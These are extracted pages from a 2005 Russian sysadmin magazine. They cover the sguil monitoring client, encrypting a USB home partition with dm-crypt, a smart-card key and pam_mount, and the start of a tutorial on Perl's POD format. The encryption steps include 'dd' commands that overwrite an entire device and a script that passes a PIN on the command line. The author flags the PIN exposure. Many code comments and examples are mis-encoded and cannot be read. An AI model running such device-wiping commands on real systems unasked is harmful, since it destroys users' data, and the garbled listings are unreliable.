безопасность Для автоматического запуска sensor_agent.tcl при старте системы используйте скрипт init/sensoragent. Все. Теперь можно подключаться к серверу при помощи клиента sguil.tk и приступать к анализу собранной информации. Как видно из рисунка, окно клиента sguil по умолчанию состоит из двух вкладок RealTime Events и Escalated Events, в которых в реальном времени выводится информация, собранная snort. Верхняя половина также разделена на три части, в которых выводятся события по степеням важности, более серьезные в верхнем окне, менее серьезные в нижнем. Если это неудобно, то можно изменить количество панелей при помощи переменных RTPANES, RTPANE_ PRIORITY и RTCOLOR_PRIORITY в файле sguil.conf. Дополнительно можно отобрать все события, подпадающие под определенную категорию, в отдельную вкладку, воспользовавшись пунктом меню File. При этом если на скрытой вкладке появится событие, заслуживающее внимания, то заголовок изменит свой цвет. Параметр ST показывает на статус предупреждения (RT – real time), CNT представляет собой счетчик событий со сходными характеристиками. Нижняя половина также разделена на две части. Слева выводится информация, собранная при помощи обратного DNS-запроса и сервиса whois, внизу можно просмотреть, в зависимости от выбранной вкладки, системные и пользовательские сообщения. Последние представляют собой простейший чат между пользователями, зарегистрировавшимися на одном сервере. В правом нижнем окне выводится

№3, март 2005

более подробная информация о предупреждении. При помощи меню Query можно создавать запросы для отбора определенной информации, которые будут сохранены в файле /etc/sguil/sguild.queries. Для удобства предлагаются мастера и уже подготовленные запросы. Пункт Reports позволяет генерировать отчеты. Sguil является довольно серьезным орудием в руках специалиста, которого беспокоит безопасность сетей. Но, как любой другой инструмент, он требует приобретения практических навыков работы. Освоив основные приемы, можно быстро находить и локализовать проблемные участки.

Ссылки: 1. Домашняя страница проекта sguil – http://sguil.sourceforge.net. 2. Richard Bejtlich «What Is Network Security Monitoring?»: http://www.awprofessional.com/title/0321246772. 3. Richard Bejtlich «Why Sguil Is the Best Option for Network Security Monitoring Data»: http://www.informit.com/articles/ article.asp?p=350390&seqNum=1. 4. Michael Boman «Network Security Analysis with SGUIL»: http://www.boseco.com/presentations/sguil-2004-1/img0.html. 5. Яремчук С. Тени исчезают в полдень. – журнал «Системный администратор», №12, 2004 г. 6. Закляков П. Обнаружение телекоммуникационных атак: теория и практика, snort. – журнал «Системный администратор», №10, 2003 г.

69


безопасность

ШИФРОВАНИЕ ДАННЫХ В LINUX – НОВЫЙ ВЗГЛЯД НА АППАРАТНЫЕ КЛЮЧИ

АЛЕКСАНДР ПОХАБОВ «Кто владеет информацией, тот владеет миром» – всем известное изречение Уинстона Черчилля. Вот и мы, впустив в свой дом компьютеры, доверяем им хранение части нашего внутреннего мира, который не должен предстать перед кем-либо, кроме самих владельцев. Что хранят миллионы жестких дисков по всему свету? От дружеской emailпереписки и домашних фотоальбомов до закрытой от посторонних глаз информации, имеющей статус государственной и коммерческой тайны. Но кроме «винчестеров» имеются и другие носители, количеством и объемом хранимых данных превосходящие своих братьев, находящихся внутри корпусов современных ПК. Не стоит также недооценивать значимость той же переписки, ведь статью 23 п.2 Конституции РФ еще никто не отменял. Но, к сожалению, преступный мир не чтит государственных законов. Огромное количество персональных компьютеров похищается прямо из дома, ноутбуки «забываются» командированными сотрудниками, которые также часто становятся жертвами грабежа, мобильные носители могут быть просто потеряны по пути из точки А в точку Б. Как можно в таких случаях быть уверенным в том, что находящиеся на

70

утерянных носителях данные не попадут в руки заинтересованных в них лиц? А ведь подавляющее большинство информации хранится на жестких дисках, CD, DVD и т. д. в «чистом» виде, и ничто не стеснит злоумышленника в его действиях. В Интернете, да и в печатных изданиях широко освещены решения по шифрованию конфиденциальной информации с использованием пары ключей. Следуя авторам большинства таких статей, пользователи размещают ключи на все тех же простых носителях, таких как FLASH-накопители и флоппи-диски (последние к тому же имеют свойство отказывать в самый неподходящий момент). И тут уже подбор верного passphrase к легкодоступным ключам – дело техники. Нашей задачей будет если не предотвратить возможность восстановления злоумышленником данных из зашифрованного раздела полностью, то на порядки усложнить его работу. В этом нам поможет аппаратный ключ, хранящий сертификаты и ключи в своей защищенной энергонезависимой EEPROM-памяти. Его «прошивка» описана в статье «Железный login: ломаем зубы грубой силе», №12, 2004 г.).


безопасность Поскольку я имею дело с домашней рабочей станцией под управлением Gentoo Linux, а не с промышленным сервером, то позволил себе использовать dm-crypt вместо cryptoloop (подразумевает ядро начиная с версии 2.6.4). Я доверился мэйнтейнеру cryptoapi Fruhwirth Clemens, выражавшему свои доводы в пользу dm-crypt в LKML, что и вам советую. Впервые поддержка dm-crypt появилась в ядре 2.6.4, но несмотря на четный минор, в широком кругу Linux-сообщества считается авантюрой перевод работающих серверов на новую ветвь ядра. В 2.4.-ядрах Device Mapper Support недоступен. Из преимуществ dm-crypt перед cryptoloop бегло можно назвать независимость от инструментов пространства пользователя (linux-util), использование mempool, и отсутствие необходимости в правке /etc/fstab . Более подробную информацию вы можете найти на сайте проекта: http://www.saout.de/misc/dm-crypt. Принцип действия таков: мы поместим зашифрованный публичный ключ в начало защищаемого раздела, при входе в систему определенного пользователя (обладающего аппаратным ключом и знающим PIN), зашифрованный ключ будет прочитан во временный файл, расшифрован pkcs15crypt и передан в качестве параметра cryptsetup для определения зашифрованного раздела (во избежание удаления ключа из начала раздела cryptsetup вызывается с параметром --offset=SECTORS), после чего содержащий копию ключа временный файл будет удален. Далее мы отформатируем новый раздел (для первого использования), смонтируем его и перенесем в него копию домашнего каталога пользователя. Все это, за исключением форматирования и переноса из резервной копии содержимого $HOME, будет делаться автоматически с помощью pam_mount в момент регистрации целевого пользователя в системе. Убедитесь, что в ядре присутствует все необходимое для дальнейшей работы. Ниже приведена выдержка из моего /usr/src/linux/.config: CONFIG_BLK_DEV_DM=y CONFIG_DM_CRYPT=m CONFIG_DM_SNAPSHOT=m CONFIG_DM_MIRROR=m CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_CRYPTOLOOP=y CONFIG_CRYPTO_AES_586=y

Также проверьте, установлены ли: sys-fs/cryptsetup dev-libs/openssl dev-libs/openct sys-fs/device-mapper

Как бы то ни было, установленный не из CVS-репозитория opensc придется удалить, так как только в CVS-версии pkcs15-crypt имеется опция --raw, используемая мною в данном примере. В стабильных версиях вывод pkcs15-crypt не будет распознан как параметр cryptsetup. Данная опция была добавлена 21 августа 2004 года и не была включена в релиз стабильной версии OpenSC 0.9.4, вышедший позже – 31 октября 2004. Будет ли она в следующем релизе, я сказать не могу.

№3, март 2005

# emerge unmerge opensc

Установка opensc из CVS: # cvs -d :pserver:cvs@cvs.opensc.org:/cvsroot login

Примечание: вместо ввода пароля нажмите <Enter>. # # # #

cvs -z3 -d :pserver:cvs@cvs.opensc.org:/cvsroot co opensc cd opensc ./bootstrap ./configure --prefix=/usr --exec-prefix=/usr ↵ --with-pam-dir=/ïóòü_ê/libpam --with-pam ↵ --with-openct=/ïóòü_ê/libopenct ↵ --with-openssl=/ïóòü_ê/openssl

Проверьте вывод ./configure в STDOUT, необходимые опции, такие как OpenSSL support, OpenCT support и PAM support должны быть включены (отмечены как «yes»). # make # make install

Если при конфигурировании ядра вы не включили в ядро dm-crypt (Multi-device support (RAID and LVM) → Device Mapper Support и Crypt Target Support) статически, то подгрузите модуль: # modprobe dm_crypt

Создайте любым удобным для вас способом резервную копию пользовательского домашнего каталога. У меня он автоматически архивируется по расписанию и практически ничего, кроме ~/.bash_history, в нем не изменяется. Резервная копия понадобится нам для переноса всего ее содержимого во вновь созданный и смонтированный в привычный пользовательский $HOME (прописанный в /etc/ passwd) защищенный раздел, проще говоря – для миграции. По моему личному мнению резервирование домашних каталогов – просто хороший тон. Специально для простоты и удобства я создал в корне директорию /crypt и работал в ней. # # # #

mkdir /crypt cd /crypt chmod 700 /crypt chown chiko:root /crypt

где chiko – пользовательский login. Далее читаем публичный ключ с прошитого аппаратного и шифруем его перед помещением в создаваемый раздел: # pkcs15-tool --read-public-key 45 > mykey.pub # dd if=/dev/random of=/crypt/key.plain bs=1 count=96 96+0 records in 96+0 records out

# openssl rsautl -encrypt -pubin -inkey mykey.pub ↵ -in /crypt/key.plain -pkcs -out /crypt/key # rm /crypt/key.plain # rm /crypt/mykey.pub

Вывод pkcs15-crypt в STDOUT не радует глаз, зато теперь известно, что ключ расшифрован и может быть передан в качестве параметра:

71


безопасность # pkcs15-crypt --raw --pkcs1 --decipher -k 45 -i /crypt/key Enter PIN [CHIKOPIN]:

Можно убедиться в преимуществе CVS-версии opensc, вызвав pkcs15-crypt без опции --raw. В своем примере я защищаю домашнюю директорию, находящуюся на USB-Flash накопителе (/dev/sda1) объемом ~244 Мб, вы же можете использовать любой раздел диска. Не поленитесь проверить размер вашего домашнего каталога – он не должен превышать вместимости раздела. # dd if=/dev/urandom of=/dev/sda1 bs=1M count=240 245+0 records in 244+0 records out

Размещаем в начале раздела ключ : # dd conv=notrunc if=/dev/zero of=/dev/sda1 bs=1024 count=1024 1024+0 records in 1024+0 records out

# dd conv=notrunc if=/crypt/key of=/dev/sda1 bs=1 128+0 records in 128+0 records out

Проверим, читается ли он безошибочно из рассматриваемого раздела, для этого сравним выводы md5sum до копирования ключа обратно в /crypt : # md5sum /crypt/key 8fc7975ed38f56cabe507a93baaa177a /crypt/key

# rm /crypt/key

Перенесем из резервной копии содержимое домашнего каталога пользователя chiko и сделаем его владельцем командой: # chown –R chiko:root /home/chiko

В моей системе пользователь chiko не является членом группы root, в нее входит лишь одноименный пользователь. Приходилось видеть права доступа rwxr-x-- на домашних каталогах пользователей, входящих в группу, насчитывающую несколько представителей. Права на чтение и просмотр каталога были выставлены именно на ту самую группу, соответственно, в ~/.bash_history пользователя vasya встречалось что-то вроде cp -R /home/nikolay ~/kolya_lamer. Проследите за тем, чтобы никто не мог перейти ваш $HOME, если же необходимо впустить кого-нибудь, не стоит рекурсивно отдавать все и всем. Не забывайте, что ~/.eid/authorized_certificates должен быть доступен для чтения и в неподключенном в точку /home/ chiko (пользовательский $HOME, указанный в /etc/passwd) новом разделе и в смонтированном. Последнее уже выполнено при восстановлении из резерва всей копии домашнего каталога. # umount /home/chiko

Резервная копия домашнего каталога имеется, после успешного монтирования зашифрованного раздела можете распорядиться им по своему усмотрению. Я оставил в несмонтированной точке /home/chiko лишь /.eid/authorized_ certificates, а все остальное просто удалил.

и после: # dd if=/dev/sda1 bs=1 count=128 of=/crypt/key 128+0 records in 128+0 records out

# md5sum /crypt/key 8fc7975ed38f56cabe507a93baaa177a /crypt/key

Отлично, записанный в начало раздела ключ читается безошибочно. Готовим раздел к переносу пользовательских данных из резервной копии: # pkcs15-crypt --raw --pkcs1 --decipher -k 45 ↵ -i /crypt/key | cryptsetup --hash=plain ↵ --cipher=aes --key-size=256 ↵ --offset=2048 create mynewhome /dev/sda1 Enter PIN [CHIKOPIN]:

На данном шаге форматируется новый раздел. Я предпочел ext2fs, но никому не навязываю своего решения: # mkfs.ext2 /dev/mapper/mynewhome

Забавно наблюдать за пользователями Windows, пытающимися посмотреть содержимое FLASH-накопителя и предложение отформатировать его. Смонтируем: # mount /dev/mapper/mynewhome /home/chiko

72

# cryptsetup remove mynewhome # rm /crypt/key

Устанавливаем pam_mount. Для большинства дистрибутивов эта задача тривиальна. Для пользователей Gentoo Linux имеется ebuild, скачать можно здесь: http://bugs.gentoo.org/attachment.cgi?id=51530& action=view. Установка с помощью ebuild в Gentoo считается идеологически верной, но при желании можно взять исходники pam_ mount на домашней странице: http://www.flyn.org/projects/ pam_mount и установить вручную. Когда он будет включен в portage-tree и будет ли вообще включен, мне, к сожалению, неизвестно. После установки pam_mount необходимо отредактировать два файла: конфигурационный /etc/security/pam_ mount.conf и скрипт /sbin/mount.crypt. Лично я потратил много времени на редактирование и доводку скрипта /sbin/mount.crypt, установленного с помощью вышеназванного ebuild, но раздел не монтировался. На помощь пришел mount.crypt от дистрибутива Debian, который можно взять здесь: http://bugs.gentoo.org/attachment.cgi? id=49305. Скачайте и замените им имеющийся /sbin/mount.crypt. Поскольку я не могу рассмотреть данный скрипт в каждом отличном от Gentoo дистрибутиве, рекомендую загрузить его всем и как минимум проверить с помощью diff различия от поставляемого с вашей системой с предлагаемым мной.


безопасность Приступим к конфигурированию. Ниже привожу листинги /etc/security/pam_mount.conf и /sbin/mount.crypt. #cat /etc/security/pam_mount.conf debug 0 # Ïðè âîçíèêíîâåíèè îøèáîê áóäåò ïîëåçíî èìåòü âûâîä: debug 1 options_allow nosuid,nodev,loop,encryption # Çäåñü è ñòðîêîé íèæå ïî æåëàíèþ options_require nosuid,nodev lsof /usr/sbin/lsof %(MNTPT) fsck /bin/true # Äëÿ FLASH-íàêîïèòåëÿ ñ ext2fs íå ñ÷åë íóæíûì ïðîâåðÿòü fsck.ext2 losetup /bin/true [ïñ] unlosetup /bin/true [ïñ] cifsmount /bin/mount -t cifs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ -o "username=%(USER)%(before=\",\" OPTIONS)" smbmount /bin/mount -t smbfs //%(SERVER)/%(VOLUME) %(MNTPT) ↵ -o "username=%(USER)%(before=\",\" OPTIONS)" ncpmount /bin/mount -t ncpfs %(SERVER)/%(USER) %(MNTPT) ↵ -o "pass-fd=0,volume=%(VOLUME)%(before=\",\" OPTIONS)" umount /bin/umount %(MNTPT) lclmount /sbin/mount.crypt %(VOLUME) %(MNTPT) -o %(OPTIONS) # Íå çàáóäüòå çàìåíèòü /sbin/mount.crypt ñêðèïòîì èç Debian cryptmount /sbin/mount.crypt %(VOLUME) %(MNTPT) ↵ -o %(OPTIONS) nfsmount /bin/mount %(SERVER):%(VOLUME) ↵ "%(MNTPT)%(before=\"-o \" OPTIONS)" pmvarrun /usr/sbin/pmvarrun -u %(USER) -d -o %(OPERATION) # Ñòðîêà, îïèñûâàþùàÿ èìÿ ïîëüçîâàòåëÿ, ðàçäåë, òî÷êó # è îïöèè ìîíòèðîâàíèÿ volume chiko crypt - /dev/sda1 /home/chiko loop,cipher=aes - -

Весь листинг /sbin/mount.crypt слишком велик, чтобы привести его на страницах печатного издания, поэтому добавленные в него блоки буду выделять красным: #  ñàìîì íà÷àëå äîáàâüòå ñòðîêó read PIN LOSETUP=/sbin/losetup CRYPTSETUP=/bin/cryptsetup MOUNT=/bin/mount OPTIONS="" read PIN # Òàêèì îáðàçîì ïåðåäàåì PIN â pkcs15-crypt USAGE="dev dir [-o options] # Íàéäèòå è çàêîììåíòèðóéòå, êàê â ïðèìåðå, # ÷åòûðå ñëåäóþùèå ñòðîêè: #HASHOPT="ripemd160" #if [ -n "$HASH" ]; then # HASHOPT="$HASH" #fi # Âìåñòî íèõ ïîäñòàâüòå ñâîè: HASHOPT="" if [ ! -z "$HASH" ]; then HASHOPT="-h $HASH" fi KEYSIZEOPT="256" if [ -n "$KEYSIZE" ]; then KEYSIZEOPT="$KEYSIZE" fi # Ñðàçó æå ïîñëå KEYSIZEOPT-ñåêöèè äîáàâëÿåì # òðè íîâûõ ñòðîêè: dd if=/dev/sda1 bs=1 count=128 of=/crypt/key /usr/local/bin/pkcs15-crypt --raw -p $PIN --pkcs1 ↵ --decipher -k 45 -i /crypt/key | $CRYPTSETUP ↵ --cipher=aes --hash=plain --key-size=256 ↵ --offset=2048 create $DMDEVICE $DEVICE rm /crypt/key # Ñëåäóþùóþ ñòðîêó èç îðèãèíàëà çàêîììåíòèðóåì, # òàê êàê âûøå èñïîëüçóåì ñîáñòâåííûé àíàëîã: #$CRYPTSETUP -c $CIPHEROPT -h $HASHOPT ↵ -s $KEYSIZEOPT create $DMDEVICE $DEVICE

Пример скрипта /sbin/mount.crypt можно скачать на сайте журнала http://samag.ru в разделе «Исходный код». В большинстве случаев придется изменить только /dev/sda1 и путь к директории хранения временного файла на необходимые вам значения. Есть риск, что во время выполнения другими пользователями ps в ее вывод может попасть наш PIN, поэтому ре-

№3, март 2005

комендуется запретить пользователям просматривать список чужих процессов с помощью grsecurity (см. одноименную статью Кирилла Тихонова в журнале №9, 2004 г.). Остается подправить /etc/pam.d/login : # cat /etc/pam.d/login #%PAM-1.0 auth optional pam_mount.so ↵ auth required /usr/local/lib/security/pam_opensc.so use_first_pass session optional pam_mount.so use_first_pass ↵ account required /lib/security/pam_stack.so service=system-auth ↵ session required /lib/security/pam_stack.so service=system-auth

Пробуем зарегистрироваться как chiko. Если вы верно следовали моему описанию, то должны увидеть что-то наподобие этого (при выставленном в /etc/security/pam_ mount.conf значении debug 1): pam_mount: reading options_allow... pam_mount: reading options_require... pam_mount: back from global readconfig pam_mount: per-user configurations not allowed ↵ by pam_mount.conf pam_mount: real and effective user ID are 0 and 0. pam_mount: checking sanity of volume record (/dev/sda1) pam_mount: about to perform mount operations pam_mount: information for mount: pam_mount: -------pam_mount: (defined by globalconf) pam_mount: user: chiko pam_mount: server: pam_mount: volume: /dev/sda1 pam_mount: mountpoint: /home/chiko pam_mount: options: loop,cipher=aes pam_mount: fs_key_cipher: pam_mount: fs_key_path: pam_mount: use_fstab: pam_mount: -------pam_mount: checking to see if /dev/mapper/_dev_sda1 ↵ is already mounted at /home/chiko pam_mount: checking for encrypted filesystem key ↵ configuration pam_mount: about to start building mount command pam_mount: command: /crypt/mount.crypt ↵ /dev/sda1 /home/chiko -o loop,cipher=aes /home/chiko pam_mount: mount errors (should be empty): pam_mount: 128+0 records in pam_mount: 128+0 records out pam_mount: waiting for mount pam_mount: clean system authtok (0) pam_mount: command: /usr/sbin/pmvarrun -u chiko -d -o 1 pam_mount: pmvarrun says login count is 1 pam_mount: done opening session

Вот и долгожданное приглашение! Проверьте наличие в новой домашней директории своих перенесенных из резервной копии данных и вывод команды mount. # mount | grep mapper /dev/mapper/_dev_sda1 on /home/chiko type ext2 (rw)

Как успел заметить опытный читатель, пользуясь описанным способом, можно шифровать не только пользовательские домашние каталоги. Со страниц журнала желаю вам удачи, и пусть ваши конституционные права остаются незыблемыми.

Ссылки: 1. http://www.flyn.org/projects/pam_mount. 2. http://www.saout.de/misc/dm-crypt. 3. http://opensc.org.

73


программирование

СИСТЕМА СОЗДАНИЯ ДОКУМЕНТАЦИИ POD ЧАСТЬ 1

АЛЕКСЕЙ МИЧУРИН Разрабатываете ли вы утилиту или обширный пакет программ, строите ли аппаратный комплекс или создаёте программно-аппаратную среду, вы неминуемо столкнётесь с необходимостью составления качественной документации. Зачастую требуется или желательно, чтобы документация была доступна в нескольких форматах: для печати и для ознакомления on-line. Система POD предлагает простой язык разметки документов и средства конвертирования, позволяющие получить документы в наиболее «ходовых» форматах: не размеченный текст, man-страница, HTML-страница, PostScript и PDF.

Что такое POD? Постараюсь угадать первые вопросы читателей и коротко ответить на них, но прежде не могу не процитировать perldoc

74

perlpod: «The Pod format is not necessarily sufficient for writing a book. Pod is just meant to be an idiot-proof common source for nroff, HTML, TeX, and other markup languages, as used for online documentation». Аббревиатура POD означает Plain Old Documentation. POD разрабатывалась для документирования программ и модулей, разработанных на языке Perl. Но, во-первых, эта система достаточно универсальна и может использоваться для документирования не только Perl-программ. А вовторых, она разработана так, что не требует для написания документации знания языка Perl. Это делает её универсальным, мощным и простым в освоении средством создания электронных документов. Слово «old» в аббревиатуре не должно вводить читателя в заблуждение. Система не является устаревшей. Напротив,


программирование она постоянно совершенствуется. В последней версии Perl (5.8) впервые появилась подробная спецификация POD. Я не могу претендовать на исчерпывающее описание. Если оно вам нужно, обратитесь к perldoc perlpodspec. Там подробно обсуждаются все детали формата. Например, что будет, если в список вставить заголовок или повторно выделить жирным текст, уже являющийся таковым. Для решения большинства задач документирования этих тонкостей знать не надо. Они нужны, скорее, разработчикам новых конвертеров POD-документов в другие форматы. Для пользователя существует описание формата POD perldoc perlpod. В этой статье я практически не буду выходить за его рамки, но отдельно рассмотрю вопросы кириллизации POD, не затронутые ни в одном из указанных руководств.

Принцип работы POD Читатели, знакомые с HTML или системой вёрстки TeX/ LaTeX, уже встречались с подходом, практикуемым и в POD. Это не WYSIWYG-система. Она предполагает, что вы разрабатываете документ в определённом формате, а потом конвертируете его в любой другой, который необходим вам для печати или просмотра. Это позволяет поддерживать одну «мастер-версию» в формате POD, из которой по мере необходимости вы сможете получать документы в различных форматах и по-разному оформленные, например, отличающиеся базовым размером шрифта или свёрстанные в одну или две колонки. Таким образом, для освоения POD нам придётся рассмотреть сам формат и средства конвертирования.

Статья и примеры В статье я буду рассказывать о возможностях POD от простого к сложному. При накоплении критической массы знаний мы будем отвлекаться и рассматривать вопросы конвертирования POD-документов в соответствующий формат. Естественно, при таком изложении и форматы будут идти от простых к сложным. Для того чтобы не быть голословным, я написал крошечную программку на Perl и снабдил её инструкцией. Подавляющее большинство примеров в этой статье взяты из неё. Вы можете получить полную версию программы и документации на сайте журнала в разделе «Исходный код». Далее я буду называть этот файл для краткости просто архивом. В него входят документированная программа и все средства преобразования документации в форматы – от простых текстовых до PostScript, PDF и HTML. Конвертирование в PostScript и PDF будет описано в следующем номере. Перейдём к рассмотрению возможностей POD. Начнём с базовых принципов формата POD.

Абзацы в POD Формат POD предполагает, что весь документ разбит на абзацы, которые отделены друг от друга одной (или более) пустой строкой. Очень желательно, чтобы это была действительно пустая строка, не содержащая даже пробелов. Старые версии обработчиков POD могут некорректно реагировать на подобные неточности соблюдения формата. Абзацы бывают всего трёх типов:

№3, март 2005

! Форматированные абзацы. Обработчики, или программы просмотра, сами решают, как разбить текст на строки в готовом документе, обеспечив необходимое выравнивание. В этих абзацах допускаются конструкции, изменяющие шрифт, создающие перекрёстные гиперссылки, расширяющие набор доступных символов. Об этих возможностях я буду говорить ниже. ! Неформатированные абзацы чаще всего используются для представления листингов программ. Здесь в результирующем документе сохраняется то же разбиение на строки, что и в POD-файле. Всегда используется моноширинный шрифт. Никакие управляющие последовательности символов не обрабатываются, а отображаются вместе с остальным текстом «как есть». ! Управляющие параграфы содержат команды, управляющие структурой документа: заголовками, списками и прочим. Тип параграфа задаётся очень просто:

! если первый символ параграфа не пробел и не знак «=», то это форматированный параграф;

! если первый символ пробел – неформатированный; ! если знак «=» – управляющий. Вот простой пример форматированного и неформатированного параграфов: Êîíâåðòèðîâàòü EPS-ôàéë â ëþáîé äðóãîé ôîðìàò ìîæíî ïðîãðàììîé C<gs>, èìåþùåé íåèñ÷èñëèìîå ìíîæåñòâî îïöèé è âîçìîæíîñòåé. Ïðèìåð: gs -sDEVICE=png16 \ -sOutputFile=drag.png \ -dBATCH \ -dNOPAUSE \ -r72x72 \ -sPAPERSIZE=a5 \ drag.eps

Обратите внимание, второй параграф («gs...») начинается с пробела, это неформатированный параграф. После обработки, в формате PDF этот фрагмент будет выглядеть примерно так:

Конечно, внешний вид будет слегка варьироваться в зависимости от того, какой вы выберете размер шрифта при создании PDF, каков будет размер бумаги и поля, во сколько колонок будет свёрстан документ, будет ли использоваться система автоматической расстановки переносов.

Основные команды Управляющих команд совсем немного, и в этом разделе мы рассмотрим почти все из них.

75


программирование Оформление команд, команды начала и конца документа Сперва скажу о командах =pod и =cut. Они задают начало и конец POD-документа соответственно. Использование =сut не обязательно. Эта команда полезна в тех случаях, когда файл содержит не только PODдокумент. При документировании Perl-программ и модулей общепринятой практикой является включение в один файл и Perl-кода программы или модуля, и POD-документа к нему. Обратите внимание! Чтобы эти команды получили должную интерпретацию, их следует оформить как отдельные командные параграфы. То есть они должны иметь по одной (или более) пустых строк до и после; а знак «=» должен быть первым в строке. В следующем примере я создал простой POD-документ, содержащий три слова: =pod Ïðèâåò îò POD. =cut

Если вы оформите его так: =pod Ïðèâåò îò POD. =cut

то «=cut» будет считаться просто четвёртым словом в единственном форматированном параграфе документа. Об этой специфике надо помнить и при использовании других команд. Я для краткости буду говорить о «командах», но подразумевать буду управляющие параграфы, начинающиеся с этих команд.

Заголовки Команды =head1, =head2, =head3, =head4 позволяют задавать заголовки разных уровней. Весь текст абзаца после этих команд интерпретируется как текст заголовка. Вот фрагмент POD-документа, содержащего различные заголовки:

Как видите, номера расставляются автоматически. Скоро мы увидим, что автоматически могут создаваться и оглавления.

Списки Для форматирования списков в POD предусмотрено три команды: ! Команда =over отмечает начало списка. Если после неё указано число, то оно интерпретируется как величина отступа, указанная в единицах em (приблизительно ширина буквы «M»). Эта величина носит рекомендательный характер, она может игнорироваться, если вы конвертируете POD в формат, не позволяющий управлять отступом. ! Команда =back завершает список. ! Каждый элемент списка задаётся командой =item. Её можно использовать только в окружении =over/=back. Текст абзаца, следующий за =item, является маркером элемента списка. Это может быть звёздочка (ненумерованный список), число (нумерованный список) или некий термин, ключ командной строки, оператор, переменная или краткая фраза, выполняющая роль подзаголовка. В традиционной для UNIX man-документации чаще используется последний вид списков, и POD более ориентирован на них. Спецификация POD настаивает на том, чтобы разработчики не использовали смешанных списков. То есть в одном списке не должны сочетаться и нумерованные и ненумерованные элементы (вряд ли кому-то понадобится такой список-химера). POD-процессоры оставляют за собой право заменять маркеры-звёздочки на более подходящие символы, если это возможно (например, в формате HTML). В нумерованных списках рекомендуется начинать нумерацию с единицы. Сам элемент списка, отмеченный маркером, содержится в следующем абзаце или абзацах. Список может вообще не содержать элементов, а только маркеры. Вот пример списка (не обращайте пока внимания на управляющие последовательности C<...> и E<...>, мы к ним ещё вернёмся):

=head1 Àëãîðèòìû ïîñòðîåíèÿ Ïðèâåäó çäåñü äâà àëãîðèòìà, îòëè÷àþùèõñÿ ïðèíöèïèàëüíî.

Âñ¸ ïîñòðîåíèå âåä¸ò ïîäïðîãðàììà C<next_step>. Îíà ïîëó÷àåò ñëåäóþùèå ïàðàìåòðû:

=head2 Èòåðàöèîííûé àëãîðèòì ïîñòðîåíèÿ äðàêîíà

=over

Íàñòîÿùàÿ ïðîãðàììà èñïîëüçóåò èìåííî ýòîò àëãîðèòì.

А вот PDF-результат:

=item $x, $y Ïåðâûé è âòîðîé E<mdash> êîîðäèíàòû íà÷àëà âåêòîðà. =item $dx, $dy Òðåòèé è ÷åòâ¸ðòûé E<mdash> êîîðäèíàòû ñàìîãî âåêòîðà. =item $d Òåêóùàÿ ãëóáèíà ðåêóðñèè. =back

В формате PDF этот фрагмент кода будет давать примерно такой результат.

76


программирование Управляющие последовательности просты и компактны: ×àñòü òåêñòà ìîæíî âûäåëèòü I<êóðñèâîì>, íåêîòîðûå ôðàãìåíòû - B<ïîëóæèðíûì øðèôòîì> èëè C<ìîíîøèðèííûì øðèôòîì>.

Маркеры можно не указывать, тогда их не будет и в результирующем документе. Отступ же сохранится. Списки можно использовать и не совсем по назначению. Например, вот так:

Здесь, как вы уже догадались, слова «курсивом», «полужирным шрифтом» и «моноширинным шрифтом» будут оформлены соответствующим образом. Если формат, в который вы конвертируете документ, не допускает подобных вариаций шрифта (например, рассмотренный выше обычный текст), то управляющие последовательности будут корректно проигнорированы. POD предлагает и средства логической разметки. Конструкция F<...> предназначена для выделения имён файлов (обычно эквивалентна курсиву I<...>). Конструкция X<...> игнорируется большинством конвертеров, но может использоваться для создания предметных указателей. Конструкция S<...> указывает на то, что текст, заключённый в ней, не должен разбиваться на строки. Например: S<Ñèòíèêîâà Î.Â.>

Это просто список из одного элемента.

Первый опыт конвертирования Мы уже знаем достаточно, чтобы разметить простенький POD-документ. Готовый POD-файл можно сконвертировать в текстовый документ. Делается это командой pod2text, например, так: pod2text input.pod >output.txt

Вот как будет выглядеть результат конвертирования фрагмента документа, который я привёл в разделе про заголовки:

Команда pod2text допускает множество ключей. Перечислять их все нет смысла, тем более что многие предоставляют весьма экзотические возможности (например, сохранение в результирующем документе не только обработанного POD-кода, но и всего остального содержимого файла), которые могут быть полезны только Perl-программистам. Я лишь упомяну о весьма полезной опции -w, позволяющей указать ширину документа. Опция -m позволяет задать поля. Я ещё вернусь к вопросам конвертирования в текстовый формат, когда мы продвинемся чуть дальше в освоении POD, а исчерпывающую информацию по pod2text можно найти в руководстве perldoc pod2text.

Форматирование Давайте теперь рассмотрим, какую разметку допускают форматированные абзацы. В форматированных абзацах можно задавать определённое оформление текста. Доступны три классические возможности: жирный шрифт (bold), курсивный шрифт (italic) и моноширинный шрифт (code).

№3, март 2005

или S<5 êã.>

Инициалы всегда будут находиться на одной строке с фамилией, а единицы измерения не «оторвутся» от величины. Для полноты скажу о довольно редко используемой последовательности Z<>. Это «символ нулевой ширины». Он не отображается на печати и поэтому может показаться абсолютно бесполезным. Пример его использования я приведу чуть ниже. Как только вы начнёте создавать свои собственные PODдокументы, вы столкнётесь с одной проблемой. Как выделить курсивом фразу «Alex <a@i.am>» или выделить жирным «I>10A»? Очевидно, конструкция вида: B<I>10A>

не даст требуемого результата. Жирным будет выделена только буква I, а необходимый нам знак «больше» вообще исчезнет, будучи проинтерпретирован как часть управляющей последовательности. В ранних версиях POD эта проблема решалась только путём использования escape-последовательностей (о них разговор ниже). Этот метод работает и по сей день, но он не очень удобен. Начиная с версии POD, поставляемой с Perl 5.5.660, был предложен гораздо более изящный путь обойти эти затруднения. Теперь фрагмент текста, подлежащий выделению, можно ограничивать любым количеством символов «<« и «>». «Открывающая» и «закрывающая» последовательности должны быть одинаковой длины, а заключённый в них текст должен быть дополнен пробелами в начале и в конце. Эти пробелы также являются частью управляющей конструкции и не будут отображаться на печати.

77


программирование То есть в нашем примере требуемого результата можно добиться, написав в POD-файле: B<< I>10A >>

Более «тяжеловесные» ограничители тоже могут пригодиться. Например: C<<< cat part >> file2append >>>

Здесь вся фраза «cat part >> file2append» будет оформляться моноширинным шрифтом. Как раз здесь уместно вспомнить о последовательности Z<>. Её можно внедрить между двумя символами «больше». Она никак не повлияет на внешний вид документа, но разобьёт последовательность «>>», которая в противном случае могла бы быть интерпретирована как управляющая. Одним словом, код: C<< cat part >> file2append >>

будет понят POD-конвертерами не так, как мы хотели, а код: << cat part >Z<>> file2append >>

